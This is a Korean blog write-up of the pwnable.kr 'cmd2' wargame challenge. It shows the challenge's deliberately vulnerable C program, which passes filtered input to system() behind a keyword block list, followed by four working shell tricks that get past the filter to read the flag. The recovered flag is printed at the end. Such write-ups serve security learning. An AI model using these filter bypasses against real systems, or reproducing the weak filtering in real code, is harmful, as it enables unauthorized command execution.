security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] cmd2

민사민서 2023. 2. 5. 05:01
<코드>
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
   int r=0;
   r += strstr(cmd, "=")!=0;
   r += strstr(cmd, "PATH")!=0;
   r += strstr(cmd, "export")!=0;
   r += strstr(cmd, "/")!=0;
   r += strstr(cmd, "`")!=0;
   r += strstr(cmd, "flag")!=0;
   return r;
}

extern char** environ;
void delete_env(){
   char** p;
   for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
   delete_env();
   putenv("PATH=/no_command_execution_until_you_become_a_hacker");
   if(filter(argv[1])) return 0;
   printf("%s\n", argv[1]);
   system( argv[1] );
   return 0;
}

<분석>
extern char** environ : 환경변수 목록들
environ[i] 인자들이 각각의 환경변수들 ("키=값" 문자열)
필터링 =, PATH, export, /, `, flag 

cmd2@pwnable:~$ ./cmd2 "expor''t"
expor''t
export PATH='/no_command_execution_until_you_become_a_hacker'
export PWD='/home/cmd2'
// export 명령어 이용해 확인해보면 환경변수 초기화되어 2개밖에 없음..

<풀이1>
cat 대신 command 명령어를 사용한다....
Options:
-p use a default value for PATH that is guaranteed to find all of the standard utilities (PATH와 별개로 기존 경로를 모두 찾아 명령어를 수행한다)
=> ./cmd2 'command -p cat fla*'

<풀이2>
cf) $는 [1] 변수 참조: MY_TEST=1213; echo $MY_TEST / a=ls; $a
[2] command substitution: echo $(pwd)
cf) read 명령어는 표준입력으로부터 input 받아 변수에 저장
stdin으로 명령어를 입력받아 실행시킨다
=> ./cmd2 'read a; $a' 후 /bin/cat flag 입력 

<풀이3>
borne shell의 빌트인 명령어 set은 -s 옵션 사용해 stdin에서
명령어 입력받아 실행한다
=> ./cmd2 'set -s' 후 /bin/cat flag 입력

<풀이4>
$() 문법으로 8진수 인코딩 된 text를 변환해 명령어 실행
cmd2@pwnable:~$ ./cmd2 '$(echo "\057"bin"\057"cat fl*)'
$(echo "\057"bin"\057"cat fl*)
FuN_w1th_5h3ll_v4riabl3s_haha